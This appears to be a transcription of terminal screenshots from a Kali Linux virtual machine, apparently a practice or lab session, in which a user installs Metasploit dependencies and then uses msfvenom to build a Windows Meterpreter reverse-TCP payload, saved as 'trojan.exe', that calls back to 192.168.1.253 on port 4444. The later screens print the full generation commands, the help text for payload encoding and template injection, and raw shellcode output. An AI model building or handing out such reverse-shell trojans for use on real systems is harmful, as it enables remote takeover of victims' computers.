kali-linux-2022.4-virtualbox-amd64 [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

1 2 3 4 3:13

kali@kali: /usr/share/metasploit-framework

File Actions Edit View Help

```
┌──(kali㉿kali)-[~]
└─$ sudo apt-get update
[sudo] password for kali:
Ign:1 http://http.kali.org/kali kali-rolling InRelease
Ign:1 http://http.kali.org/kali kali-rolling InRelease
Ign:1 http://http.kali.org/kali kali-rolling InRelease
Err:1 http://http.kali.org/kali kali-rolling InRelease
  Temporary failure resolving 'http.kali.org'
Reading package lists ... Done
W: Failed to fetch http://http.kali.org/kali/dists/kali-rolling/InRelease  Temporary failure resolving 'http.kali.org'
W: Some index files failed to download. They have been ignored, or old ones used instead.

┌──(kali㉿kali)-[~]
└─$ sudo apt-get upgrade
Reading package lists ... Done
Building dependency tree ... Done
Reading state information ... Done
Calculating upgrade ... Done
0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

┌──(kali㉿kali)-[~]
└─$ cd /usr/share/metasploit-framework/

┌──(kali㉿kali)-[/usr/share/metasploit-framework]
└─$ gem install bundler
ERROR:  Could not find a valid gem 'bundler' (≥ 0), here is why:
          Unable to download data from https://rubygems.org/ - SocketError: Failed to open TCP connection to rubygems.org:443 (getaddrinfo: Temporary failure in name resolution) (https://rubygems.org/specs.4.8.gz)

┌──(kali㉿kali)-[/usr/share/metasploit-framework]
└─$ bundle install
Using rake 13.0.6
Using Ascii85 1.1.0
Using concurrent-ruby 1.0.5
Using i18n 1.12.0
Using minitest 5.16.3
Using tzinfo 2.0.5
Using zeitwerk 2.6.6
Using activesupport 6.1.7
Using builder 3.2.4
Using erubi 1.11.0
Using racc 1.6.0
Using nokogiri 1.13.9 (x86_64-linux)
Using rails-dom-testing 2.0.3
Using crass 1.0.6
Using loofah 2.19.0
Using rails-html-sanitizer 1.4.3
Using actionview 6.1.7
Using rack 2.2.4
Using rack-test 2.0.2
Using actionpack 6.1.7
Using nio4r 2.5.8
Using websocket-extensions 0.1.5
```

kali-linux-2022.4-virtualbox-amd64 [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

1 2 3 4 3:14

kali@kali: /usr/share/metasploit-framework

File Actions Edit View Help

```
Using rex-text 0.2.46
Using rex-arch 0.1.14
Using rex-struct2 0.1.3
Using rex-bin_tools 0.1.8
Using rex-encoder 0.1.6
Using rex-exploitation 0.1.36
Using rex-java 0.1.6
Using rex-mime 0.1.7
Using rex-nop 0.1.2
Using rex-ole 0.1.7
Using rex-random_identifier 0.1.9
Using rex-powershell 0.1.97
Using rex-registry 0.1.4
Using rex-rop_builder 0.1.4
Using rex-sslscan 0.1.8
Using rex-zip 0.1.4
Using rspec-support 3.12.0
Using rspec-core 3.12.0
Using rspec-expectations 3.12.0
Using rspec-mocks 3.12.0
Using rspec 3.12.0
Using rspec-rerun 1.1.0
Using ruby-macho 3.0.0
Using ruby-oci8 2.2.11
Using openssl-cmac 2.0.2
Using windows_error 0.1.4
Using ruby_smb 3.2.0
Using mustermann 3.0.0
Using rack-protection 3.0.3
Using tilt 2.0.11
Using sinatra 3.0.3
Using sqlite3 1.4.4
Using sshkey 2.0.0
Using swagger-blocks 3.0.0
Using thin 1.8.1
Using tzinfo-data 1.2022.6
Using unix-crypt 1.3.0
Using warden 1.2.9
Using win32api 0.1.0
Using nori 2.6.0
Using winrm 2.3.6
Using xdr 3.0.3
Using xmlrpc 0.3.2
Using metasploit-framework 6.2.26 from source at `.`
Using simplecov-html 0.12.3
Using simplecov 0.18.2
Bundle complete! 15 Gemfile dependencies, 181 gems now installed.
Gems in the groups 'development' and 'test' were not installed.
Bundled gems are installed into `./vendor/bundle`

┌──(kali㉿kali)-[/usr/share/metasploit-framework]
└─$
```

kali@kali: ~

File Actions Edit View Help

```
cd: permission denied: /root

┌──(kali㉿kali)-[/usr/share/metasploit-framework]
└─$ msfvenom
Error: No options
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var=val>
Example: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe

Options:
    -l, --list          <type>     List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all
    -p, --payload       <payload>  Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom
        --list-options             List --payload <value>'s standard, advanced and evasion options
    -f, --format        <format>   Output format (use --list formats to list)
    -e, --encoder       <encoder>  The encoder to use (use --list encoders to list)
        --service-name  <value>    The service name to use when generating a service binary
        --sec-name      <value>    The new section name to use when generating large Windows binaries. Default: random 4-character alpha string
        --smallest                 Generate the smallest possible payload using all available encoders
        --encrypt       <value>    The type of encryption or encoding to apply to the shellcode (use --list encrypt to list)
        --encrypt-key   <value>    A key to be used for --encrypt
        --encrypt-iv    <value>    An initialization vector for --encrypt
    -a, --arch          <arch>     The architecture to use for --payload and --encoders (use --list archs to list)
        --platform      <platform> The platform for --payload (use --list platforms to list)
    -o, --out           <path>     Save the payload to a file
    -b, --bad-chars     <list>     Characters to avoid example: '\x00\xff'
    -n, --nopsled       <length>   Prepend a nopsled of [length] size on to the payload
        --pad-nops                 Use nopsled size specified by -n <length> as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length)
    -s, --space         <length>   The maximum size of the resulting payload
        --encoder-space <length>   The maximum size of the encoded payload (defaults to the -s value)
    -i, --iterations    <count>    The number of times to encode the payload
    -c, --add-code      <path>     Specify an additional win32 shellcode file to include
    -x, --template      <path>     Specify a custom executable file to use as a template
    -k, --keep                     Preserve the --template behaviour and inject the payload as a new thread
    -v, --var-name      <value>    Specify a custom variable name to use for certain output formats
    -t, --timeout       <second>   The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)
    -h, --help                     Show this message

┌──(kali㉿kali)-[/usr/share/metasploit-framework]
└─$ msfvenom -list-option -p windows/meterpreter/reverse_tcp

Invalid type (ist-option). These are valid: payloads, encoders, nops, platforms, archs, encrypt, formats, all

┌──(kali㉿kali)-[/usr/share/metasploit-framework]
└─$

┌──(kali㉿kali)-[/usr/share/metasploit-framework]
└─$ msfvenom -p [payload] LHOST=[your ip address]LPORT=[the port number] -f [file type]>[path]
zsh: bad pattern: LHOST=[your

┌──(kali㉿kali)-[/usr/share/metasploit-framework]
└─$ msfvenom -p windows/meterpreter/reverse_tcp
```

kali@kali: ~

File Actions Edit View Help

```
No encoder specified, outputting raw payload
Payload size: 354 bytes
•••`1•d•R0•••R
•8•u•}•;}$u•X•X$•f•P•X •H▒Л•t<1•I•4••1••••
                K•XЧ•ЋD$$[[aYZQ••X_Z••••••]h32hws2_ThLw&•••и•)•TPh)•k••j
h
h\••PPPP@P@Ph••••▯jVWh••ta•3•t
•u••gjjVWh••_•Ж•~6•6j@hVjhX•S••ΦSjVSWh••_•Ж•}(Xh@jPh
                                        /0••WhunMa••^^•
                                                  $•p••••••••••)•u•û•••VjS••

┌──(kali㉿kali)-[/usr/share/metasploit-framework]
└─$ LHOST=192.168.1.253 LPORT=4444-f exe > trojan.exe
zsh: permission denied: trojan.exe

┌──(kali㉿kali)-[/usr/share/metasploit-framework]
└─$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.253 LPORT=4444 -f exe >trojan.exe
zsh: permission denied: trojan.exe

┌──(kali㉿kali)-[/usr/share/metasploit-framework]
└─$ cd~
Command 'cd~' not found, did you mean:
  command 'cd5' from deb cd5
  command 'cdo' from deb cdo
  command 'cdb' from deb tinycdb
  command 'cdp' from deb irpas
  command 'cdw' from deb cdw
  command 'cdi' from deb cdo
  command 'cde' from deb cde
Try: sudo apt install <deb name>

┌──(kali㉿kali)-[/usr/share/metasploit-framework]
└─$ cd /root
cd: permission denied: /root

┌──(kali㉿kali)-[/usr/share/metasploit-framework]
└─$ cd ~

┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.253 LPORT=4444 -f exe > trojan.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes

┌──(kali㉿kali)-[~]
└─$ ls
Desktop  Documents  Downloads  file.text  Music  Pictures  Public  Templates  trojan.exe  Videos

┌──(kali㉿kali)-[~]
└─$
```